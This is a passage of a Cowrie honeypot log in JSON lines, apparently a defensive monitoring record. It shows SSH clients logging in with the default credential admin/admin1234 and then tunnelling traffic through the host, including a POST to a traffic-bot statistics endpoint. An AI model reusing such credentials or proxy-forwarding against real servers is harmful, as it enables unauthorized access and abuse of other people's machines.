00\\x00\\x1d\\x00  \\xfd\\x1a\\xa2\\xa7\\nt\\xddA\\x03\\xd0\\xa3-F\\x8e\\x1f\\x88\\x7f\\x04$\\xda\\x813\\xb8\\xaa\\x17U\\x98f\\x17\\xe7$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.829312Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:47.525894Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":54996,"dst_ip":"10.17.0.5","dst_port":22,"session":"c27fcc1a29a0","protocol":"ssh","message":"New connection: 23.175.50.52:54996 (10.17.0.5:22) [session: c27fcc1a29a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:48.870407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:48.874487Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:49.067153Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52430,"dst_ip":"159.203.135.109","dst_port":23,"session":"30eafdb66b0f","protocol":"telnet","message":"New connection: 172.81.62.90:52430 (159.203.135.109:23) [session: 30eafdb66b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:55.159740Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52434,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0dd75910c4","protocol":"telnet","message":"New connection: 172.81.62.90:52434 (159.203.135.109:23) [session: 9a0dd75910c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:55.618669Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:55.901922Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":52387,"dst_ip":"10.17.0.5","dst_port":22,"session":"51dc0260c80f","protocol":"ssh","message":"New connection: 38.46.222.137:52387 (10.17.0.5:22) [session: 51dc0260c80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:58.054575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:58.059023Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:58.125983Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":65130,"dst_ip":"10.17.0.5","dst_port":22,"session":"a719d548d0ce","protocol":"ssh","message":"New connection: 123.27.168.40:65130 (10.17.0.5:22) [session: a719d548d0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:58.664434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:58.682021Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:58.915540Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:59.343555Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.006454Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.384988Z","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.533067Z","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.620733Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.1 Mobile/16F203 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QmxGV1E%2BaGI2MDxKWmE3aQ%3D%3DNISYFctJ4FSFdhCXY5WhhHlVmrtKFKPNUgriV39%2FXi0q6cn4c%2BjZ4OP6RO0IcHqEOALKXKwd6ydekiiNtNiBK0DEXD4TNpctUI5bHJ10HxheQ2VqwlD7QPR0JjwFeMG0uh4CLG9gr8NLGVbjQWXHj6S8RmJQc931ZxOWhf7wCWCONRrcrWNo0XbSgqr6Py6kB6AqeMMA0VaGMGiYT43ixt4vDQLzUAZshEJzuupTpgqb9vqGzEd5iZ%2BJpmxntXQtxJhRH8py53ivLfTT6iCZT6Oe7QEYfZK0yWhNsAAedR%2BuCEPDOiOzWlPYaf47GnfMSsYfGaYoeJQ%2B0%2FzuQQjzURVrkThFTF%2FxdIR3wVkA9ZgdZc4Np9rX22BOhYEPqwV3b85Hr1Uileirgwm6ksqZ1Ac3w0rOOMtHO3zQfOcvA%2FcI0RYjOPIUGcZNRXA%2BncXqHIME9bfe6whBzrhkciROH3TJ1KgrPc5amSf91uK5dWYHwGbI79RloeIrDzbbXrJmqxRLkQMVTnvMIyJKDcjzEpN48%2F2vpNTuL6JcMI4O61cpxh%2FleMsdaEG%2FlmDsxMKYNG0J1hsmc%2Fh5l4DMup16qJfQmziZaOHp89Ej%2BNTKrUMYIzzm9SMT7XfsQDlsfDt%2BghzoqQGiVeI0Kuh9hOo%2B2phqTQRaZW1TN7GHnHbyhLVeQvfupbmJMaYljRCKkdSnZ3pIC5IeM5rZ06SpBaOS8DGLkC5ST7FoMU1Rd1sX0nC2oR4I9II2NhrNR0XvOV9cqmmEQOeAoz4kO%2FGb3uXpJOa3Vd%2BSWd3l7NC4LRoWSVHoT5PZs7e64xfudZn0c4qeeZi%2BOrF2XyXh%2BqWHmYXJW1EyXTO1e11qJaVoOHurHklUN5jr8dwb%2F6N%2FPZpXhb7U4x8kKy9x53TKcS%2FkV1j2ljK3lRt8hu90ZBDnWXN%2BnTyWWn19F7NBgfbSRcAVlMJbzqvj%2BYaZWDxPleFa%2BmPJs2WqOrlL%2FApjvQxuL1yuR0K5E3Ug0I58xgN252RLsWj%2FjQYaNfJJdIdijJZ4QTfiLL%2BmmbVGzG3JLc3Q9OvBS7o%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.1 Mobile/16F203 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QmxGV1E%2BaGI2MDxKWmE3aQ%3D%3DNISYFctJ4FSFdhCXY5WhhHlVmrtKFKPNUgriV39%2FXi0q6cn4c%2BjZ4OP6RO0IcHqEOALKXKwd6ydekiiNtNiBK0DEXD4TNpctUI5bHJ10HxheQ2VqwlD7QPR0JjwFeMG0uh4CLG9gr8NLGVbjQWXHj6S8RmJQc931ZxOWhf7wCWCONRrcrWNo0XbSgqr6Py6kB6AqeMMA0VaGMGiYT43ixt4vDQLzUAZshEJzuupTpgqb9vqGzEd5iZ%2BJpmxntXQtxJhRH8py53ivLfTT6iCZT6Oe7QEYfZK0yWhNsAAedR%2BuCEPDOiOzWlPYaf47GnfMSsYfGaYoeJQ%2B0%2FzuQQjzURVrkThFTF%2FxdIR3wVkA9ZgdZc4Np9rX22BOhYEPqwV3b85Hr1Uileirgwm6ksqZ1Ac3w0rOOMtHO3zQfOcvA%2FcI0RYjOPIUGcZNRXA%2BncXqHIME9bfe6whBzrhkciROH3TJ1KgrPc5amSf91uK5dWYHwGbI79RloeIrDzbbXrJmqxRLkQMVTnvMIyJKDcjzEpN48%2F2vpNTuL6JcMI4O61cpxh%2FleMsdaEG%2FlmDsxMKYNG0J1hsmc%2Fh5l4DMup16qJfQmziZaOHp89Ej%2BNTKrUMYIzzm9SMT7XfsQDlsfDt%2BghzoqQGiVeI0Kuh9hOo%2B2phqTQRaZW1TN7GHnHbyhLVeQvfupbmJMaYljRCKkdSnZ3pIC5IeM5rZ06SpBaOS8DGLkC5ST7FoMU1Rd1sX0nC2oR4I9II2NhrNR0XvOV9cqmmEQOeAoz4kO%2FGb3uXpJOa3Vd%2BSWd3l7NC4LRoWSVHoT5PZs7e64xfudZn0c4qeeZi%2BOrF2XyXh%2BqWHmYXJW1EyXTO1e11qJaVoOHurHklUN5jr8dwb%2F6N%2FPZpXhb7U4x8kKy9x53TKcS%2FkV1j2ljK3lRt8hu90ZBDnWXN%2BnTyWWn19F7NBgfbSRcAVlMJbzqvj%2BYaZWDxPleFa%2BmPJs2WqOrlL%2FApjvQxuL1yuR0K5E3Ug0I58xgN252RLsWj%2FjQYaNfJJdIdijJZ4QTfiLL%2BmmbVGzG3JLc3Q9OvBS7o%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.623806Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.849546Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03_\\x99\\xfd\\x92\\xde\\xdc\\x93\\x15\\xd2\\xb2\\xb3\\x1d]{'\\x89\\x842*0\\x9a\\xb22/\\xa5\\xd7/\\xebI0\\x1b\\x17 \\xee-\\xf9)\\xad\\xe6ht\\\\s\\x9f\\xa6\\x9b\\xa6\\xee\\xab%\\xf518N\\xd0\\xf4\\xf7\\xc2+[\\x84;V\\x8a\\x10\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 l[\\x82^.*\\x03\\xc6\\xfd\\xc6h\\xb3\\x9dJY\\xc8\\r\\xe8\\x13\\xa6\\xd5\\x17\\x12\\x90\\x1f\\r\\x9e\\xb3\\xccG`!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03_\\x99\\xfd\\x92\\xde\\xdc\\x93\\x15\\xd2\\xb2\\xb3\\x1d]{'\\x89\\x842*0\\x9a\\xb22/\\xa5\\xd7/\\xebI0\\x1b\\x17 \\xee-\\xf9)\\xad\\xe6ht\\\\s\\x9f\\xa6\\x9b\\xa6\\xee\\xab%\\xf518N\\xd0\\xf4\\xf7\\xc2+[\\x84;V\\x8a\\x10\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 l[\\x82^.*\\x03\\xc6\\xfd\\xc6h\\xb3\\x9dJY\\xc8\\r\\xe8\\x13\\xa6\\xd5\\x17\\x12\\x90\\x1f\\r\\x9e\\xb3\\xccG`!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:00.852524Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:01.297576Z","session":"a719d548d0ce","protocol":"ssh"}
